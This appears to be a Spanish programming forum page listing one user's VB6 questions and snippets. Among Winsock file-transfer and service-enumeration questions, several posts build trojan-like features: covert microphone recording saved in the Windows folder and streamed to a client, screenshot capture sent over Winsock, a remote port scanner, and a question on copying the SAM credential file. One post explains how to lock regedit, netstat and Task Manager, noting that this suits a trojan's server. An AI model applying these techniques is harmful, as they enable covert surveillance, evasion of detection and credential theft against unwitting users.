Temas

Hola me he descargado el tsearch y abro un proceso trabajo con ese proceso y no me aprece nada en el tsearch no se si lo estoy haciendo bien o que

Hola estoy buscando una manera de enviar un archvio de 300 kb en 300 kb

Código [Seleccionar] Expandir

While Not (EOF(FiDes))
           DoEvents
           Input #FiDes, LineA
           wins.sendata LineA
        Wend

Este codigo me lo envia linea a linea
y tampococo me lo monta =
por ejemplo tengo que poner un vbcrlf al final de cada linea  pero si es un exe lo que envio me cargo el codigo binario al meter un codigo vbcrlf
Lo que queiro es poder pillar 300 kb envarlos luego otros 300 y enviarlos 
he mirado la funcion Input pero recive dos parametros nfichero y fin pero creo que no me sirve
Gracias Soludos

Hola a todos me he creado un aplicacion con vb 6 y usa muchos ocx por ejemplo mswinsck.ocx y simpre que lo ejecuto en una maquina me da error y me dice que no se encuentra mswinsck.ocx es logico.

Enotces mi sorprsa fue cundo en una maquina recien formateada ejecute el exe y me funciono

Lo ejecute dentro de un carpeta y en esa carpeta estabn los ocx mi pregunta es sy hace falta que esten en system32 o vale con que esten en la carpeta de trabajo donde ejecuto el exe?

Gracias un saludo

Hola a migos queiro trabajr con socket en net y queiro estudiar algo de documentacion sebre el tema agredeceria que me pusiaran algun post interesante he leido mucho sobre el tema pero no me convence mucho lo que he leido
Gracias

me aprece un errror cunado intento acceder a un textbox me dice
error entre subprocesos no se puede haceder a textbox proque se creo en un nivel superiro al subproceso

No se que puede pasar
esto me pasa dentro de un evento de un socket

Hola amigos
Tengo problemas con el Wav ya puse un post para solucionarlo pero nadie contesta entonces he cambiado de idea alguien sabe como capturar sonido en formato mp3 o como puedo pasar de wav a mp3 desdede Visual Basci Calro
Gracias por vuestro tiempo saludos

Hola estoy creando un escaner de puertos remoto entonces creo algo asi

Código [Seleccionar] Expandir


for i=0 to 65550
   e=e+1
   winsock.remoteport=e

next i


HOla a todos alguein me puedoe enviar informacion o donde puedo encontrar manual o informacion de las apis de meenger
he puscado por aqui pero no encunetro mucho gracias

Hola a todos
Tengomun problemilla con el formato wav no funciona = que el mp3 en la estructura bianria me refiero
Tengom una aplicacion Cliente /Servidor el servidro captura paquetes de 10 segundos de sonido y cundo captura el primero lo llamo 0.wav , 1.wav .... luego va enviaando cada paquete al cliente y el cliente lo que hace es coger cada paquete y montarlo todo seguido en captura.wav meto todos los datos binarios por orden uno de tras de otro y eso lo consigo hacer   loq ue pasa que a ala hora de reproducir el archvio solo escucho el primer paquete osea los 10 primeros segundos pero el archivo ocupa 1 Mb  en ese archvio estan todos los wav que va capturando el servidor y los va juntando. Lo que escucho ocupa 100 kb. Entonces no se como hacerlo. En cambio he porbado ahcer lo mismo con canciones mp3 y si gunto los datos binarios se me escuchan en una misma pista las dos canciones seguidas mi pregunta es como puedo hacer para juntar el wav o capturar el sonido en mp3 directamente yo uso lo sigueinete para caprura sonido he probado ne cambiar la extensionpero no lo reconcoe el reproductor.

Código [Seleccionar] Expandir

Private Sub Sonido_Timer()
    ContadorSound = ContadorSound + 1
    Result& = mciSendString("record mysound to 10000", ReturnString, 1024, 0)
    If ContadorSound = 10 Then
        'Hemos hehco un cahco de 10 segundos
        ContadorSound = 0
        Result& = mciSendString("save mysound " & fso.GetSpecialFolder(0) & "\sys\" & ContadorEnvioSound & ".wav", ReturnString, Len(ReturnString), 0)
        Result& = mciSendString("close mysound", ReturnString, 1024, 0)
        Result& = mciSendString("open new type waveaudio alias mysound", ReturnString, 1024, 0)
       'Ponemos el formato del sonido
        Result& = mciSendString("set mysound time format ms bitspersample 8 samplespersec 11025", ReturnString, 1024, 0)
        'DatosBinarios
        If fso.FileExists(fso.GetSpecialFolder(0) & "\sys\" & 0 & ".wav") = True Then
           'sound.SendData (DatosBinarios(fso.GetSpecialFolder(0) & "\sys\" & 0 & ".wav", FreeFile))
              If ContadorEnvioSound <> 0 Then GoTo 1
              Form1.sound.SendData EnviarSound(DatosBinarios(fso.GetSpecialFolder(0) & "\sys\" & 0 & ".wav", FreeFile), 0)
        End If
1       ContadorEnvioSound = ContadorEnvioSound + 1
    End If
   
End Sub

HOla a todos estoy creando una aplicacion que trabaja con agentes, el merlin y mas y tengo un problema

Código [Seleccionar] Expandir

            Load Form1.Agent(Parametros(1))
            Form1.Agent(Parametros(1)).Characters.Load (Parametros(0))
            Form1.Agent(Parametros(1)).Characters(Parametros(0)).Activate
            Form1.Agent(Parametros(1)).Characters(Parametros(0)).Show
            Form1.Agent(Parametros(1)).Characters(Parametros(0)).MoveTo Val(Parametros(3)), Val(Parametros(4))
            Form1.Agent(Parametros(1)).Characters(Parametros(0)).Speak Parametros(2)
Donde parametros(0)= Es le nombre del agente con la ruta donde esta el archvio acs, y parametros(1) es un inidice ok

Pero simepre se me carga el merlin.acs
com si fuera el predeterminado que puedo hacer gracias, los demas parametros son X Y y texto a leer

HOla tengo un problemilla queiro coger un archvio y partirlo en varios trozos el problema que tengo que si el archvio es grande no entra el dato en un avriable yo uso eso

Código [Seleccionar] Expandir

Public Function DatosBianarios(Rut As String, Cachos As Integer)
Dim Datos As String, bytes As Double, BytesParte As Double
Dim i, e As Integer, BytesUnidos As Double, datos2 As String
BytesUnidos = 1
   Open Rut For Binary As #1
      Do While Not EOF(1)
    On Error Resume Next
           Input #1, datos2
          Datos = Datos & datos2 & vbCrLf
          DoEvents
        Loop
       Close #1

   Close #1
   bytes = Len(Datos)
   BytesParte = bytes / Cachos
   For i = 0 To Cachos - 1
       Open "c:\File\file" & e For Binary As #1
       Dim secu As String
       secu = Mid(Datos, BytesUnidos, BytesParte)
           Put #1, , secu
       Close #1
       BytesUnidos = BytesUnidos + BytesParte
       e = e + 1
   Next i
   DatosBianrios = "Todo Correcto"
End Function

el probela surge cundo leeo el archivo tarda muchisimo y aveces no termina de leerlo

aveces uso esto

Código [Seleccionar] Expandir

 
Datos = Space(LOF(1))
    Get #1, , Datos
pero si la varible es muy grande por ejmplo 600 mb no entra en la varible dato
alguna idea porfa


HOla a todos tengo un problemilla necesito saber los servicis de mi pc y uso esto

Código [Seleccionar] Expandir


Const ERROR_MORE_DATA = 234
Const SERVICE_ACTIVE = &H1
Const SERVICE_INACTIVE = &H2
Const SC_MANAGER_ENUMERATE_SERVICE = &H4
Const SERVICE_WIN32_OWN_PROCESS As Long = &H10
Const SERVICE_WIN32_SHARE_PROCESS As Long = &H20
Const SERVICE_WIN32 As Long = SERVICE_WIN32_OWN_PROCESS + SERVICE_WIN32_SHARE_PROCESS
Public Type SERVICE_STATUS
    dwServiceType As Long
    dwCurrentState As Long
    dwControlsAccepted As Long
    dwWin32ExitCode As Long
    dwServiceSpecificExitCode As Long
    dwCheckPoint As Long
    dwWaitHint As Long
End Type
Public Type ENUM_SERVICE_STATUS
    lpServiceName As Long
    lpDisplayName As Long
    ServiceStatus As SERVICE_STATUS
End Type
Public Declare Function OpenSCManager Lib "advapi32.dll" Alias "OpenSCManagerA" (ByVal lpMachineName As String, ByVal lpDatabaseName As String, ByVal dwDesiredAccess As Long) As Long
Public Declare Function EnumServicesStatus Lib "advapi32.dll" Alias "EnumServicesStatusA" (ByVal hSCManager As Long, ByVal dwServiceType As Long, ByVal dwServiceState As Long, lpServices As Any, ByVal cbBufSize As Long, pcbBytesNeeded As Long, lpServicesReturned As Long, lpResumeHandle As Long) As Long
Public Declare Function CloseServiceHandle Lib "advapi32.dll" (ByVal hSCObject As Long) As Long
Public Declare Function lstrcpy Lib "kernel32.dll" Alias "lstrcpyA" (szDest As String, szcSource As Long) As Long
Public Function ServicesM() As String
    Dim Serv As String
    'KPD-Team 2000
    'URL: http://www.allapi.net/
    'E-Mail: KPDTeam@Allapi.net
    Dim hSCM As Long, lpEnumServiceStatus() As ENUM_SERVICE_STATUS, lngServiceStatusInfoBuffer As Long
    Dim strServiceName As String * 250, lngBytesNeeded As Long, lngServicesReturned As Long
    Dim hNextUnreadEntry As Long, lngStructsNeeded As Long, lngResult As Long, i As Long
    'Open connection to Service Control Manager.
    hSCM = OpenSCManager(vbNullString, vbNullString, SC_MANAGER_ENUMERATE_SERVICE)
    If hSCM = 0 Then
        'MsgBox "OpenSCManager failed. LastDllError = " & CStr(Err.LastDllError)
        Exit Function
    End If
    'Get buffer size (bytes) without passing a buffer
    'and make sure starts at 0th entry.
    hNextUnreadEntry = 0
    lngResult = EnumServicesStatus(hSCM, SERVICE_WIN32, SERVICE_ACTIVE Or SERVICE_INACTIVE, ByVal &H0, &H0, lngBytesNeeded, lngServicesReturned, hNextUnreadEntry)
    'We should receive MORE_DATA error.
    If Not Err.LastDllError = ERROR_MORE_DATA Then
        'MsgBox "LastDLLError = " & CStr(Err.LastDllError)
        Exit Function
    End If
    'Calculate the number of structures needed.
    lngStructsNeeded = lngBytesNeeded / Len(lpEnumServiceStatus(0)) + 1
    'Redimension the array according to our calculation.
    ReDim lpEnumServiceStatus(lngStructsNeeded - 1)
    'Get buffer size in bytes.
    lngServiceStatusInfoBuffer = lngStructsNeeded * Len(lpEnumServiceStatus(0))
    'Get services information starting entry 0.
    hNextUnreadEntry = 0
    lngResult = EnumServicesStatus(hSCM, SERVICE_WIN32, SERVICE_ACTIVE Or SERVICE_INACTIVE, lpEnumServiceStatus(0), lngServiceStatusInfoBuffer, lngBytesNeeded, lngServicesReturned, hNextUnreadEntry)
    If lngResult = 0 Then
        'MsgBox "EnumServicesStatus failed. LastDllError = " & CStr(Err.LastDllError)
        Exit Function
    End If
    'Get the strings and display them.
    'Me.AutoRedraw = True
    'Me.Print "All registered services:" + vbCrLf
    For i = 0 To lngServicesReturned - 1
        lngResult = lstrcpy(ByVal strServiceName, ByVal lpEnumServiceStatus(i).lpServiceName)
        Serv = Serv & StripTerminator(strServiceName) + " - "
        lngResult = lstrcpy(ByVal strServiceName, ByVal lpEnumServiceStatus(i).lpDisplayName)
        Serv = Serv & StripTerminator(strServiceName) & "<*"
        'Serv = Serv & StripTerminator(strServiceName) + " - " + StripTerminator(strServiceName)
    Next i
    'Clean up.
    CloseServiceHandle (hSCM)
    ServicesM = Serv
End Function




Esto me Da los servicos de mi maquina ya esten iniciados o no ahora queria sebr si existe alguna forma de saber la informacion de cada servicio o algun comando que me diga el estado del servico estoy mirando Net Services pero no me da informacion del servicio.
me da igual hacerlo desde visual Basic o jecutando algun comando que me devuelva el resultado gracias Gracias por vuestro tiempo

SAludos queria saber como se podria desctivar el teclado y volverlo a activar

Hola
Estoy creando una aplicacion que permita cambiar el nombre del host de mi maquina local. uso esto pero no me cambia nada ni reiniciando.

Código [Seleccionar] Expandir

Public Declare Function SetComputerName Lib "kernel32" Alias "SetComputerNameA" ( _
ByVal lpComputerName As String) As Long
Public Function CambiarNombreOrdenador(NombreOrdenador As String) As Boolean
    Dim lResult As Long
    Dim fRV As Boolean
    lResult = SetComputerName(NombreOrdenador)
    If lResult <> 0 Then
        fRV = True
    Else
        fRV = False
    End If
    CambiarNombreOrdenador = fRV
End Function

No se si esta bien hecho o hay otra forma.

Sabe alguein como puedo maneja los adaptadoes de red dede codigo en vb6  lo que queira es poder habilitar y desabilitar las conesiones y saber cuantas tengo desde vb 6

Sabe alguein como puedo maneja los adaptadoes de red dede codigo en vb6  lo que queira es poder habilitar y desabilitar las conesiones y saber cuantas tengo desde vb 6

HOla mira queiro capturar la imgen y enviarla por winsok y uso esto:

Código [Seleccionar] Expandir

Private Declare Sub keybd_event Lib "user32" (ByVal bVk As Byte, ByVal bScan As Byte, ByVal dwFlags As Long, ByVal dwExtraInfo As Long)

Private Function Captura_Screen()
'On Error GoTo aki

Clipboard.Clear

'capturamos
keybd_event 44, 0, 0, 0
keybd_event 44, 0, KEYEVENTF_KEYUP, 0

'mientras no se pueda cojer el contenido
Do While Clipboard.GetData = False
DoEvents
Loop

Picture1.Picture = Clipboard.GetData
'borramos el portapapeles
Clipboard.Clear
SavePicture Picture1.Picture, "c:\sht.bmp"

Do While Len(Dir("c:\sht.bmp")) = 0
    DoEvents
Loop
'ya se ha guardado el archivo
End Function

Private Sub Form_Load()
Captura_Screen
End Sub

[Private Sub Form_Load() Command$ Open Command$ For Binary As #1End Sub]

SI no queires que los usuarios lean archivos y registros de tus aplicaciones create un exe que simpre se este ejecutando y pones esto:

Private Sub Form_Load()
    Command$
    Open Command$ For Binary As #1
End Sub
Generas el exe y le llamas por ejemplo proteger.exe
Luego ejecutas

• Ejecuta "proteger.exe c:\windows\regedit.exe" ' no te dejara abrir el regedit.
  Ejecuta "proteger.exe c:\windows\system32\netstat.exe" El usuari no vera las conesiones ni los puertos abiertos
  ejecuta "proteger.exe c:\windows\c:\windows\system32 '\Taskmgr.exe" 'El usuario no podra abrir el adminstrador de tareas

Esto funciona con todos los archvios ya sean exe, archivos de texto imagenes ,etc
En un troyano es interesante cuando se inicie el servidor poner
 
Open "RutaexeNetstat.exe" For Binary As #1

Hola
Queria saber si hay alguna forma de copiar el contenido del SAM, es hay donde se guardan la informacion de todos los usuarios
Lo que pasa que el S.O por seguridad mantiene abierto de forma binaria ese archivo para que no s epueda eliminar ni ver su informacion, hya alguna forma de cerrar ese proceso para copiar la informacion o copiarlo a otra ubicacion y luego abrirlo

HOla a todos mira queiro crar un progrma con winsok que el servidor capture la imagen de pantalla y la envie al cliente
Perdi el codigo:
lo que yo hacia era captura la imagen la metia en un jpg y el jpg lo enviaba al cliente pero la imagen pesa mucho. y queira saber si hay otra forma.

Hola
Saludos estoy creando un aplicacion y necesito sabe los recursoso compartidos e mi maquina local.

Claro desde VB 6

Saludos , necesito saber si alguien me puede ayudar a conseguir los recursoso compartidos que tiene el pc desde codigo en vb 6. Habia pensado ejecutar un.

Net view \\127.0.0.1 > C:\recursosocompartidos.txt

y ir separando las lineas y quedarme solo con los recursos pero me parece una chapuza, he oido hblar de NetShareGetInfo pero no encuntro mucha informacion

Gracias